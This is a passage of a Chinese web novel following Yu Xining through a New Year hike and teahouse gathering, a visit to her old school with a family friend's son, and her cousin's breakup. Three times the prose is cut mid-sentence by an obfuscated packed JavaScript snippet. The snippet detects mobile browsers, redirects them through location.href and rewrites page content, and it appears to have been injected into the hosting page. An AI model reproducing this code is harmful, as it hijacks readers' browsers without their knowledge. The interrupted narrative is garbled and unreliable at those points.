余希柠:“就我们四个人吗?我负责订茶座?过年搞不好都很难订到。” 林烜一点都不客气:“你家离得最近,大不了早上睡醒了你就去那守着。” 余希柠习惯性要跟他犟:“要守也是你来。” 宋乔:“那个,我带个朋友过去行不?” 许于薇:“有情况!” 宋乔谈恋爱了,这事儿余希柠早就知道,两人是在大学同乡会认识的,都是二中生,不过男生比宋乔高一届,所以高中那会也互不认识。 余希柠:“于薇要有男朋友也可以带。” 许于薇:“我没有……” 四人团伙正式加入一名新成员,起哄归起哄,因为恋情还不算很稳定,宋乔没有把男朋友拉进群里。 次日一早,余希柠出门去订茶座,没过多久就接到林烜的电话,他还真提前来了。两人干脆爬山当锻炼,余希柠中途一度累到迈不动腿,摆着手要求歇一歇。 “你这体格在北方怎么生存下来的,就是缺练。” 林烜嘴上不饶人,但还是耐心地陪在一旁等余希柠休息。 过年期间来爬山的人很多,一路上余希柠就遇到好几个熟人,打招呼的时候,他们都会看向林烜。余希柠不厌其烦地介绍,这是我同学。 熟人的眼神一个个带有深意,余希柠知道他们在想什么,也懒得解释了。反正爸妈都认识林烜,知道他俩就是好朋友的关系。 “喂,你介绍我的时候能不能换个说法?哥们混了这么多年,还不能混出个朋友的身份?” 林烜一听“同学”二字,心里一阵凉。 余希柠双手扶着膝盖弯腰顺气,听他这么说,扭头笑:“你还在乎这个呢?行,下次说你是我好闺蜜。” 林烜佯装一脚踢上去。 两人在大石头一侧休息,旁边的主路人来人往,不断有人上下台阶。林屿沉下来的时候,就看见了余希柠和林烜。 尽管好长一段时间没见到,可他还是能一眼认出来余希柠。包括她身边的那个男孩,和两年前在铺前看见的,一块骑自行车的,是同一个吧。 “怎么?认识?” 同学拍了一下林屿沉的肩,问。 林屿沉收回目光,提步下台阶,淡淡道:“认错人了。” 他前脚刚离开大石头,余希柠这边就重新出发,两拨人打了个时间差,谁也没正面碰见谁。 预订的茶座在半山腰处,宋乔他们到的时候给余希柠打电话,她和林烜就下山过去汇合。土窑鸡、红薯和鸡蛋都可以让店家准备,茶座也有零食柜台,不过价格卖得比较高,宋乔顺路去了趟超市买了不少零食,一下就堆满整个桌面。 “介绍一下,这是我最好的朋友希柠,这是林烜。”宋乔挽着男朋友的手,还有些不好意思:“你们叫他陈遇就行,遇见的遇。” “哈喽。” 打完招呼各自坐下,余希柠这个角度正好能看到上山的人:“于薇还没来。” “她刚在群里说了,帮爸妈送完饭才来,估计会晚一会。” 宋乔伸手拿了个小砂糖橘,陈遇自然而然地接过帮她剥开,把上面的白丝都去了才递给她。 小情侣的腻歪,余希柠只能佯装没看见,注意力集中在其他话题上:“她爸妈今年过年回来了吗?” 之前听许于薇说,她父母的戏团往年都要出去演出,难不成今年不用。 宋乔:“好像说是来县里表演,等她来了你问问。” 说曹操曹操到,许于薇提着裙摆踩着小皮靴上来,手里还拎着两盒蛋糕。 “太久没爬过山了,好累。” 挨个打招呼完,许于薇坐在余希柠身边,把凳子搬得贴近,俩人手挽手紧挨着,对面就是宋乔和她男朋友。 林烜孤家寡人正好坐在冲茶位:“我像是来给你们端茶送水的。” “是挺像。”余希柠半点不客气,说完看向许于薇:“听说,你爸妈今年回来过年了?” “对,剧团今年也没接到什么活,刚好村里要游神,就请他们回来演酬神戏,就是广场戏。” 许于薇说完,见大家都不太懂,拿出手机调出几张照片来给他们看。 “就这些,以前剧团都是进场演出,就跟我们看舞台剧一样,上台表演那种。但现在不景气了,也只能在过年过节时接一些乡里的聘戏。” 许于薇收起手机,摇了摇头:“这碗饭我觉得是没什么出路了,以后也不会有人看,我都劝我妹出去打工,趁年轻找一份稳定体面的工作也好过现在跟着剧团东奔西跑。有上份没下份的。” “说起来,我妈今年没有去营锣鼓班,但初一初二我出门时,还是能看到队伍,感觉跟往年没什么区别,都是些老人。” 余希柠的话引起许于薇共鸣—— “其实年轻人都不爱看这些,你听说过学钢琴、学小提琴、学舞蹈、学书法,是不是很少听学唱潮剧?太小众了,而且迟早被淘汰。” 话里话外都是不看好,主要还是因为家庭缘故。 “你这话让我想起小时候,那会什么都不懂,在我妈学校看见哥哥姐姐们跳布马舞,觉得装扮好精致,就说我也想学。我妈说学这个没用,将来无用武之地。现在看好像……” 余希柠努力回想:“除了新年,好像也没见过有人跳布马舞,就像你说的,太小众了。” “你没见过,不代表它就消失了。1993年,县里布马舞就曾到香港参加文艺游行表演,澳门回归的时候,霞西的布马舞队还参加过巡游活动,当时很多新闻媒体都报道了。还有第七届亚洲文化艺术节,霞西布马舞队也参加了,还赢得了不少专家和观众的盛赞。” 陈遇的话掷地有声,持有不同见解:“传统文化是小众,正是需要我们不断去增强对它们的关注与了解,挖掘本身有的文化和社会价值,去传播和发扬,才能让更多人关注到潮汕地域文化。” 许于薇嗑瓜子的动作都停了下来,有点窘迫,好像对面坐着个老师在给自己上课一样。 宋乔拦着陈遇,主动抬手解释:“澄清一下,他没有在生气,就是新闻专业的说起话来比较严肃。” 余希柠和许于薇对视了一眼,干笑着点头。 林烜率先发现盲点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082161|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“你是霞西人?” 陈遇:“你怎么知道?” “你对霞西布马舞的情况太了解了,连年份都知道。” 林烜半天就听见“霞西”两字,之前也没觉得布马舞特指哪个村的文化,能这么了解,要么就是本村人,要么就是对布马舞感兴趣有研究。 陈遇不好意思地摸摸鼻尖:“我没别的意思,只是想说其实这些传统文化,是应该被看见的,而不是觉得它没有发展前途就埋没了。” “你们那现在还有人在学布马舞吗?年轻人?” 许于薇嗑着瓜子,满脸好奇。 陈遇思忖道:“具体我也不清楚,学的人肯定有,但比较少,很多应该是家里会这个才去学。” “那不还是回归到传承的问题,人都是很现实的,将来要做什么,一定是立足于它能不能解决温饱,实现经济自由。光凭热爱,还是很难。” 许于薇承认自己是偏现实的人。 余希柠也没想到自己两三句话能引发这么深度的讨论,但她不是学新闻的,也不是学戏曲的,尽管对这件事有思考,也做不了什么。 茶叶换了三次,土窑鸡和红薯也都吃光了,余希柠靠着椅背,摸着鼓起的小肚子,感慨道:“这种日子好舒服啊。” “哎!刚忘了说,我来的时候遇见林屿沉了,你看见他了吗?” 这问题显然是问余希柠的,因为这个名字对于林烜和许于薇来说都很陌生。 见余希柠摇了摇头,宋乔还有些遗憾:“啊感觉就前后脚,本来想跟他打招呼的,可他车开得好快就没机会。” 林烜问:“谁啊?” 余希柠:“小学同学。” 林烜看向余希柠:“哦,没听你说过,不是二中的?” 余希柠抿唇,丢掉手里的瓜子皮:“他是学霸,初中就考上金中了,一直在金中读。” “对了,那他大学考哪了?” 宋乔这会儿才想起,好像一直没问过这个问题。 余希柠:“复旦。” 林屿沉考上复旦,是黄沐卿和陈慧柔说的,还记得那天陈慧柔在电话旁反复说的一句话:“这孩子太让人省心了,真优秀,真让人羡慕。” 彼时的余希柠正陷在高考失利和即将复读的双重情绪里,对别人家优秀小孩的故事,是一点都不感兴趣,甚至还有些排斥。 “不愧是他,真牛,这要是在二中考出去的,还不得全县城播报个三天三夜。” 宋乔感叹道。 几个人又聊了会学分绩点的话题,林烜手机响了,家里有客人来,长辈催着他回去。眼看东西都吃得差不多了,局也该散了,许于薇提议拍张合影,下意识站在了林烜身边。 宋乔挽着余希柠的手,两人脸贴脸笑得很开心。下山的时候,宋乔凑在余希柠耳边小声八卦:“你看出来没有?于薇喜欢林烜。” 余希柠惊讶得差点露馅,被宋乔疯狂掐住胳膊。 “真的假的?” “你眼神怎么能差到这种程度!” 宋乔都替余希柠着急,许于薇可是她同桌,这么多年的小心思都没察觉,白当闺蜜了。 “他俩……”余希柠对了对手指,很快又发愁:“都不在同个城市念书,可能吗?” “这就是他们的事了,毕竟林烜喜不喜欢她,我还没看出来。” 宋乔仗着已经谈恋爱,自诩有经验的恋爱大师,余希柠也没什么好反驳的。一行人在停车场分开,林烜问要不要载余希柠一程。 想到宋乔刚说的八卦,余希柠下意识拒绝:“你们先走吧,我想走路回去当消食,不用管我。” 许于薇:“那我们先走啦!争取回校前还能再聚!” 余希柠:“好,路上小心!” 35. 弟弟 余希柠在楼下就听见谈笑声,猜测着是谁来做客,结果推门进去看见人,还是有点小惊讶—— “卿姨,浩然叔,新年快乐。” “哎呀希柠回来了,快让我看看,都长成大姑娘了!” 黄沐卿起身上前,拉着余希柠的手上下打量,眼里满是欣赏和喜欢:“都比我还高了,真漂亮。” 余希柠被夸得有些不好意思。 空气里有股说不出的臭味,等黄沐卿松开手,余希柠探头探脑往屋里张望。 陈慧柔坐在主位上泡茶,看她这个动作,已然猜到:“是你爸在处理大鹅,我都把厨房门关上了,味道还那么重吗?” “当然。” 余希柠把房间里的窗户都打开,冷是冷了些,但起码通风。出来时她才注意到,沙发上还坐了位年轻人,捂着鼻子的动作简直不要太明显。 “自衡,你还没有叫姐姐。” 黄沐卿催促着自己儿子,少年抬眼看了下余希柠,不情不愿地从嘴边蹦出三个字:“希柠姐。” “嗨。” 余希柠打了声招呼,搬张凳子准备坐下,就听黄沐卿指着他俩说:“你们小时候一起玩过的,就家里那张在小公园拍的照片,和你一块坐摇摇车的红帽子姐姐就是她。” “对的,我也有那张照片,自衡那会还小,希柠非要学他把头伸出栏杆,结果还被卡住了,给我吓一跳!” 陈慧柔适时加入回忆,唯独两个事件主人公没什么反应,一个尴尬笑着,一个面无表情地把玩手机。 “要不希柠,你带自衡去二中里走一走吧?你们俩年轻人出去玩,总比跟我们几个大人待着要自然些。” 陈慧柔催促着余希柠,要多关照下弟弟。 黄沐卿:“对啊自衡,跟你希柠姐去看看你爸的母校,到时多拍几张照片和视频回来给我看。” 许自衡不得已应声,双手扶着膝盖站起来,身影像一座大山似的瞬间罩住正在喝茶的余希柠,眼角余光扫了下,这起码得有一米九了。 好高大! 人都站起来了,余希柠不得不放下茶杯,重新出去把鞋子换上,陪着这个高大的竹马弟弟去二中。 “我在门口等你,你自己进去逛行吗?” 余希柠双手抄着口袋扬了扬下巴问,都把人送到这了,也不一定要陪着进去吧。毕业时余希柠就发过誓,不会再回这个学校,高三高四两年里,校园带给她的影响负面多过于正面。 从某些角度上看,她也是个斤斤计较的人,打不开大格局。 但这些,没必要让许自衡知道,她随意扯了个谎:“现在是闭校期间,外人勿进。我早上刚带了几个同学进去,再带你,有点像黄牛。” 许自衡抬眼从外面打量了一下这个学校,墙壁上的瓷砖有不少脱落,透过大门望向里面,建筑也都是破破旧旧,除了到处是绿荫这点印象还行,其余的,和广州的校园比不了。 “这就是你们这儿最厉害的高中?国家级示范性重点?” 许自衡声音里有着藏不住的轻佻和不屑,余希柠回过头打量他。 从头到脚的牌子,五官干净精致,从大城市回来的确实给人感觉很不一样,举手投足间都是贵气,眼神里充满着对这个小县城的偏见和轻视。 余希柠停住脚步:“你们这儿?你不是饶平人吗?你不也是在这出生的吗?” “我是广州户口的。” “哦,尊贵。”余希柠没话说,把人领到校门口,随手一抬:“那儿,你可以跟门卫老伯说你爸是二中毕业的,你想进去看看,看他给不给你机会。” “不去了,也没什么好看的,我们学校比这儿大多了。” 但凡余希柠对二中的感情浓郁些,这会儿一定会跟许自衡辩个高低,可惜她没兴趣。 “你妈还等着你拍照片跟视频,不进去是不是交代不了?” 到底还是小孩,把黄沐卿搬出来,一米九个子的也得微微弯腰,摸着鼻子上前去跟门卫聊。 余希柠打定了主意不进去,拿出手机坐在一旁的花圃等。不经意偏头,正好看见许自衡指着自己,跟门卫说什么,动作神态都带了点恳求。 不好的预感袭来,余希柠心中警铃大作,微微背过身去。 谁知,下一秒就听见许自衡喊她:“余希柠,快来!” 要死了,这个人居然还喊她大名! 余希柠越是当没听见,他喊得越大声,周围经过的人都看向这里,在成为焦点前,余希柠选择妥协,叹了口气,像负重二十斤一样缓慢起身,面如死灰地走过去。 “阿叔好。” 传达室的门卫也是余希柠老熟人了,上学时进进出出都有打招呼,加上余序洲的身份,大叔对余希柠印象更深刻。 “希柠交男朋友啦,小伙子是这个哩。” 大叔竖起大拇指,摁着手里的遥控给二人开门。 男朋友? 余希柠震惊地看向许自衡,下一秒他将自己一把揽过进校,不忘回头和大叔说谢谢。 “有没有搞错啊弟弟。”余希柠一把推开许自衡,初次见面多冒昧,“你还是个高中生。” “我不说你看得出来?” 许自衡一身黑色休闲运动服,里头搭了件连帽卫衣,因为个子高,说是大学生也不违和。 人都进来了,余希柠心里叹了口气,戴上帽子勒紧束帽绳:“赶紧逛,逛完了走。” 许自衡看着余希柠,只觉得她这人很有意思,刚见面那会看她装得那么斯文温柔,以为就是个文静的小姐姐,结果一出门就变了个样。 “你和我哥是同学?” 余希柠步伐拖拉,半天就挪动几步,听见许自衡这话,堪堪抬头:“谁?” “我哥,我听我妈说过,你俩是小学同学。” 余希柠顿了下,很快反应过来,许自衡是林屿沉的表弟。 “是。” “我哥以前在学校是什么样的啊?” 迷弟?余希柠扫了许自衡一眼,瞬间对他有了个新定位,看样子是很崇拜这个表哥。 “高冷学霸,估计和现在差不多吧。” 许自衡持反对意见:“他不高冷吧。” 余希柠:“嗯?要不你说说。” 托许自衡的福,余希柠知道了这些年林屿沉的情况—— 初三的时候高分升上本校高中部,进了重点班,还学了吉他弹唱。 参加过校园十大歌手比赛,获得了二等奖,据说一等奖是他女朋友,跳街舞的。 高二学校文艺汇演,他和乐队上台演出,台下还有人表白,他没答应,因为跟一等奖女生还在一起。 高中参加了英语竞赛和物理竞赛,都拿了奖,本来还有保送名额,但他坚持要参加高考,为了跟女生考同一所大学,最后都考上了。 考完试他就去参加了一个叫满天星的公益组织,去山区支教,后来上大学还去过一次。 吉他弹唱、歌手比赛、山区支教,余希柠很难把这些词跟林屿沉联系起来,看样子他确实变化很大。 “他的确很优秀,我认识的同学里,他是考得最好的一位。但我们俩已经很多年没联系了,姐姐我是学渣,学渣和学霸都是没有共同话题的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086157|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许自衡举着手机拍照:“学渣学霸都是自己给的标签,能玩到一起的照旧玩。” 余希柠没反驳,站在一旁等着。 “你们这球场的台阶也太脏太落后了吧,我们都是演唱会看台那种椅子。” 许自衡看到什么都要嫌弃一下,起初余希柠还沉默不语,听到后面都烦了。 “要不你来捐点钱?” “我还是个学生。” “那你就安静点!” 没想到拉近和许自衡的距离是因为林屿沉的话题,回到家楼下时,许自衡主动拿出手机来。 “我们加个微信吧,没准以后回饶平还找你。” “我可不一定在。” 余希柠嘴上拒绝,但还是拿出手机来给许自衡扫二维码,添加通过。 “咦,你这头像,我好像在哪里见到过!” 许自衡点开来仔细看,更加确定,就是一时想不起。 “少来了,姐不是你应该攻略的对象。” 余希柠敷衍地笑了下,把手机揣回兜里径直往前走。 早在许自衡和门卫大叔说两人是情侣关系,今天是特地来看女朋友母校什么样的时候,她就已经把这个人定义为油嘴滑舌一类。 “不是,我真的在哪见过,就是一时没想起来。” 许自衡追上来,余希柠撇了下嘴:“这是我的头像自拍,不是网图。” 两人吵吵闹闹上楼,推门进屋时明显给人感觉关系亲近了些,黄沐卿笑着看向许自衡:“进去了吗?怎么样?” “和我学校没法比。” 许自衡洗了把手坐下。 余序洲已经处理完大鹅,这会儿正沏茶,见俩孩子回来,忙用茶夹递了两杯热茶到面前。 “杯子洗过的,解解渴。” “谢谢叔叔。” 陈慧柔从厨房出来,袖子已经挽上:“晚上留在家里吃吧,我们打边炉怎么样?食材都有,海鲜管够。” “不了,我们就回去了,今晚约好了在我大哥家吃饭,兄妹仨聚一聚。”黄沐卿搭着许自衡的肩膀,捏了捏他耳朵:“这家伙回来后就一直嚷嚷要找他哥。” “吃完再去嘛,难得来。” 陈慧柔还是热情挽留,余序洲也是,一家三口就余希柠还安坐着,正当她想着要不要也站起来力邀表示,就见许浩然拦住余序洲。 “以后还有机会,下次来了一定尝尝慧柔老师的手艺再走。这次答应了他大舅,不去不好。” 许浩然示意许自衡拿上带来的大吉:“有空就来广州,老朋友了多走动走动。” 余序洲夫妇负责把客人送到楼下,余希柠自觉端起桌上的茶具拿回厨房清洗,再出来时,余序洲已经进屋了,嘴里还在不停感叹—— “自衡的个子真高,大城市里养出来的小孩就是不一样。” “正说呢,别看他散漫那样,学习成绩可不差,从小到大都在实验班,以后考个985、211不在话下。” 看得出来,陈慧柔对于考试分数还是很敏感:“他们黄家人基因好,估计上辈子得文曲星照拂了。” 初八,陈梓钰回广州,听陈敬涛的吩咐,开学前还去了趟陈慧琪家拜年。 初十前后,大学生也都陆续返校,赶上陈敬禹开车来饶平看望陈镇东,知道余希柠要去潮汕机场,主动说送她一程。 车位有限,余序洲夫妇没有去,余希柠和表妹陈时宜坐在后座,聊了些韩流kpop的话题才勉强撑过这一个小时的车程。 果然,懂得kpop的就是一家人,余希柠只庆幸自己微博刷得多。 36. 帮扶 本科第二年,余希柠课程基本都是早八,因为计划参加专四考试,所以大部分时间都在刷题和练口语。到第二学期时,余希柠的西语已经能达到C1(精通)的水平,专业老师建议她试着申请大三的交流项目。 学校在小语种这块有与境外高校2+2、3+1的联合培养项目,课程经认定都能获得相应学分。 当晚余希柠就把这个培养项目和家里人说了,余序洲在电话另一头沉默半天:“安全吗?交流的话,学费和生活费、住宿这块怎么解决?” 余希柠把项目相关内容截图发到了家庭群里,又在电话里念了一遍。 “当然,也不是说申请了就有,就是一个机会。” “那还犹豫什么,申请呀,老师都建议了说明这个项目对你有帮助,多出去看看学习也是好的。妈妈支持你,钱这方面你不用担心,我跟你爸会商量,你能读到什么程度,爸妈就供你到什么程度。” 电话不知什么时候换成了陈慧柔接,本以为以她的性格,不会支持交换生项目,没想到这次答应得这么爽快。余希柠都有点担心,陈慧柔这是在和自己说反话。 陈慧柔:“这事儿什么时候能定下来?” “3+1的话,大三上学期申请,一般下学期会出名单,大四新学期就在国外上课。” 一年的费用相对较少,考虑到家庭情况,余希柠不想申请2+2的项目。 父母只是普通教职工,没有其他投资或者生意收入,每个月固定工资还要经营家庭,余希柠不想他们负担太重。虽然她自己有剪辑这个副业收入,但对留学来说还是杯水车薪。 “行,你先申请吧,爸妈这边没意见,有消息了就跟家里说一声。对了,这个月的伙食费够吗?不要惦记着减肥就少吃,营养要均衡的。” 陈慧柔又问了些每天都会问的问题,例如吃什么,有没有跟宿舍的人去哪玩,钱够不够。 余希柠一一回答,挂断电话,隔壁床的舍友陶婷婷投来艳羡的目光。 “你和你家里人关系真的好好,虽然没有一句话我听得懂,但感觉就是很温柔,像朋友关系那种。” 每次余希柠和家里人通电话,就跟加密聊天似的,其他舍友听了两年,也只听懂“爸爸”、“妈妈”、“吃饭了没”这三句话。 余希柠笑笑道:“就是正常聊天,谈不上像朋友关系。我小舅妈和我表妹才是,她俩就像无话不谈的姐妹,什么都聊得来。” 余希柠不止一次坦白自己羡慕徐姗和陈时宜的母女关系,甚至一度在跟陈慧柔吵架时脱口而出:“同样是当妈,你怎么不能像小妗一样!” 陈慧柔当时怎么回来着,余希柠有些记不起来了。 “你在跟家里说申请交换生的事?” 郑重的话打断了余希柠的思绪。她是宿舍舍长也是班里的团支书,交换生的项目她也申请了,不过她申的是2+2,已经通过了,下学期就去西班牙。 余希柠点头:“对。” “他们答应了?我看你今天吃饭的时候就心事重重的,那会就在想这事儿了吧?怕你爸妈不同意?” 郑重这人细心得很,很擅长观察人的情绪,是天生做班干部的料子。 “嗯,毕竟之前没聊过这类话题,本以为得说服一番,没想到我妈直接就同意了。” “哇,你们家是假的潮汕家庭吧?” 陶婷婷凑过来,推了推鼻梁上的眼镜:“我之前刷到过的新闻,都说潮汕家庭很封建的,重男轻女,对女孩根本不会用心培养,书不用读那么多,找个好人家嫁了才是正经事。” 郑重:“她爸妈肯让她来这边念书,就已经说明他们家非典型潮汕人家了,而且他们家就她一个,不培养她还能培养谁?” “希柠,你爸妈就没想过再生一个吗?之前听说潮汕的女人,都是要生出个儿子才会停的,不然都完不成任务。” 原本在上铺背书的苏冬燃忍不住探出头来加入这个话题,其实她大一那会就想问了,但碍于刚认识,不太好意思。 苏冬燃家虽然不是潮汕的,但也是典型的重男轻女,她家四个女孩,她是老二。父母做点小生意,家里算不上富裕,但她爷爷奶奶就是想要个孙子,结果一连四胎都是女的,爷奶都泄气了。 从前母亲在家里抬不起头来,过年过节都要看奶奶脸色,好在苏冬燃四姐妹都很争气,大姐毕业当了老师,去年刚结婚,嫁的人家条件不错,苏冬燃自己也考上了大学,母亲这才重新有了底气。 起初得知余希柠是独生女,她还很惊讶,但更多的还是羡慕。 余希柠手肘搭着椅子靠背,下巴轻轻搁在臂弯处:“我爸妈是双职工,不敢违背政策。至于说潮汕的女人非得生出儿子才行,都是外界片面定义,实际上独生女还挺多的,我以前班上有三分之一都是独生女。” 郑重:“只能说,三分之一其实也不算多。” 余希柠嗯了声,没再就着这个话题往下说。她知道,其实舍友都是站在旁观者的角度,从她们主观维度去判断问题。见自己每天都跟家里人打电话,就觉得家人关系一定很好。 实际上余希柠并不喜欢这种日日都与家里联系的行为,但她也不会去刻意纠正舍友们的看法,因为偶尔,她也需要舍友这些话去说服自己,和父母的关系已经逐渐变好。 大三第一学期,余希柠递出了申请,这年寒假陈梓钰联系她,说想来天津玩,看看雪,然后再一起回家。余希柠手忙脚乱做攻略,定酒店,拜托当地同学帮忙看路线规划,介绍本地名小吃。 她这才意识到,自己来天津快三年了,好像还不是很熟悉这座城市。 陈梓钰比余希柠早放假,特地等她考完试了才从广州飞过来,两姐妹见面第一晚聊天聊到睡不着。 这一趟旅行,余希柠看出了陈梓钰情绪不佳。与其说是来看雪,倒不如说是来散心的。 “北方感觉要比南方舒服,地广人稀,空气都清新很多。” 听了陈梓钰的评价,余希柠挑了挑眉:“我还是头一回听到有人夸北方天气清新的。” “等你去广州挤一挤地铁三号线就知道我是什么意思了。” 余希柠从包包里拿出洗漱用品,一件件堆在酒店桌子上,对着镜子开始卸妆:“姐,你是不是有什么心事啊?” 她憋了一路的问题,总算是问出来了。透过镜子,眼角余光偷偷打量身后的陈梓钰,试图观察到她对于这个问题的反应如何。 已经洗完澡的陈梓钰趴在床上,双手像花托一样摊开撑着下巴,她眼睛一眨不眨地看着落地窗外的夜景。工作这么久,好像第一次如此惬意地欣赏窗外的景色,不用去理会周围正在发生的一切。 “希柠,我听大姑说你在申请去西班牙的交换生,你有想过以后留在国外生活吗?” 镜子旁堆了两三块脏透的化妆棉,镜中人已然恢复了素颜时的样子,房间里的氛围就好像是在饶平家里一样,两姐妹闲来无事地聊天,随便什么话题。 余希柠将用过的化妆棉随手丢到垃圾桶里,转身进浴室洗脸,水龙头打开前,她朗声道:“我哪敢想在国外工作生活,超纲了。” 陈梓钰又问:“那你回饶平吗?” “我学的西语。”余希柠打满白色泡沫洗面奶涂在脸上,伸出头来,“回饶平讲给谁听?” 陈梓钰忍不住笑:“也是。” “但我想去北京,虽然难但机会多,反正现在最不缺的就是年轻这股劲。” 余希柠洗干净脸,看着镜子中的自己,眼睛一眨不眨任由水珠从眼睫毛尾端落下。 广州离家还是太近了,这话她不敢说出来。 “我来找你之前,失恋了。” 陈梓钰一手托着脑袋,一手无意识地在被面上画圈,脸上虽然是笑着的,但比哭还难看。 余希柠一听这话,澡都来不及洗,拉着椅子坐到床对面。 “什么情况?我都不知道你谈恋爱,就失恋了?” 在余希柠面前也没什么好藏着掖着,陈梓钰坐起身来把情况说了一遍。 原来她在上大学的时候就交了个男朋友,因为还不稳定就没跟任何人说。男方也是潮州人,家里有两个姐姐,父母是养鱼的,没什么文化也不会说普通话。 余希柠听到这时表情就很耐人寻味,她看着陈梓钰,迫切想要听两人是为什么在一起的,她究竟被对方哪方面打动了。毕竟陈梓钰长得漂亮,性格又好,成绩也好,家庭条件也还不错,按道理应该很多人追。 就像她学校外语系的系花一样,像只高傲的小天鹅,所有追求者对小天鹅都该是不二之臣。 可惜陈梓钰并没有想要说故事开端的意思,直接说了结局:“前段时间我妈要给我介绍对象,我就坦白了,她一听对方的情况立马不同意,说什么都要我分手。” 余希柠追问:“那你分了吗?” 陈梓钰点点头。 余希柠一下就哽住了,只觉得瞬间好多问题争先恐后涌了上来,每个都很迫切想要知道答案。 “舅妈说分,你就分了?不是自由恋爱吗?感情这么淡,这么容易被拆散的?那你当初到底觉得他哪里好了?” 陈梓钰深吸一口气,来天津之前她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091352|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分明已经捋清了思路,结果被余希柠这么追问,忽然像又被打碎了似的,拾不到重点。 “当初是觉得他很有才华,想法大胆又前卫,是我想要成为但没法做到的那类人。他比我成熟、勇敢、果断,和他在一起的时候,我觉得浑身充满了力量。我只是在和这个人谈恋爱,所以对他的家庭,我没有太多评价,但在我妈眼里,却完全相反。” 余希柠点点头,她能想象得到。 王君虽然是全职家庭主妇,但原本出身就不错,从小也是娇养长大。加上陈敬涛这些年发展得不错,如今也已是副校长,平日里人情往来少不了饭局应酬,王君都是作为副校长夫人出席的。 像她这样的人,择婿标准只高不会低。 “她说含辛茹苦培养了我这么多年,不是要我去嫁给一个养鱼户的儿子,我看上这样的人,让她很丢脸,她努力帮我铺向云端的路,我却偏偏要往下走。” 陈梓钰说着说着突然眼眶就红了,余希柠慌乱给她找纸巾,听着她一句又一句逻辑混乱的话,没敢打断。 到后面,陈梓钰几乎是想说什么就说,彻底撕碎这些年完美长姐的身份形象,把真实的自己暴露在妹妹面前。 余希柠惊讶于这样优秀的人都会自卑,会难过,会觉得自己不够好。 “你知道吗?我其实完全知道我妈在想什么。她就想着我能高嫁,嫁个有钱人,嫁个有权势的人,未来可以帮扶家里,特别是帮梓航。” 陈梓钰抬手捂着眼睛,眼泪顺着她的指缝滑落,她不想让自己这么狼狈,偏偏揭开这些事实本身就用尽了她全部力气。 她也不是糊涂人,书都读了这么多,也该学会见微知著。不过是因为那是家人,是血肉至亲,所以才一直习惯了去接受跟付出。 “我觉得自己就像是被上了发条,立在八音盒上的那个小女孩,该怎么旋转,对着谁展示,都有人安排。” 陈梓钰叠着纸巾抹掉眼泪,又哭又笑:“我每个月的工资,三分之一要寄回家里给我妈添加用,三分之一要给梓航付生活费,我自己就只剩下三分之一租房跟生活。有时候,我真的很羡慕你,一个人拥有父母全部的爱。” 余希柠哑然失语,这样大的一顶帽子强戴在她头上,就算不乐意,这会儿也得顾及陈梓钰的情绪去接受。 她要是现在想说,独生女其实没那么好,恐怕陈梓钰都不会信吧。 这晚,陈梓钰是哭着睡着的,余希柠洗完澡出来,蹑手蹑脚爬上床,把灯关上前,她看了眼睡在旁边的表姐。 人生就像一本没有完结的故事书,在前二十年里,陈梓钰就像书中的女主角,长得漂亮,成绩又好,不论做什么都能成功,是榜样人物。 所以在一开始,余希柠会偷偷模仿她的作文,会看她看过的书本,会模仿她的做事风格,直到被拆穿,直到学累了。 余希柠很庆幸早早打破这种模仿思维,过回自己想要的人生,即便周围人不理解,她也不会去试图讨好。 起码在今夜,陈梓钰说出羡慕她时,给了余希柠很大的肯定——这步路没有迈错。 她也意识到书中的主角,早就成为自己,而原来的榜样也遇到了新困局。 次日一早,余希柠醒的时候,陈梓钰已经穿戴整齐并且化了个美美的妆,两人都默契的没有再提昨晚的事情。 沿着五大道走了一圈,姐妹俩还去了南开,陈梓钰突然说起自己当初最想选的就是南开大学,但到了填志愿的时候就不敢了。怕万一落榜,也怕离家太远。 她和余希柠还有一点很不一样—— 她恋家,余希柠不会。 这一年的春节,开始有人过问余希柠有没有对象,想要给她介绍。陈慧柔笑着说暂时先顾学业,不考虑。 那一瞬间,余希柠都觉得陈慧柔身上在发光。 她开始着手准备去留学的事宜,四人小分队开学前又短暂聚了一次,宋乔和余希柠一样还有一年才毕业,林烜想读研究生,许于薇在准备考公,大家都有各自清晰的规划。 国内和西班牙有七小时时差,出国前,陈慧柔就给余希柠提了一个要求,到了马德里每天都要通一个视频,哪怕只是让她看一看都安心。 “妈,我到了会照顾好自己,用不着每天都视频吧,我是去学习又不是去工作或者探险。” “一定要,不然我不放心,我会担心你,国外多乱啊。” 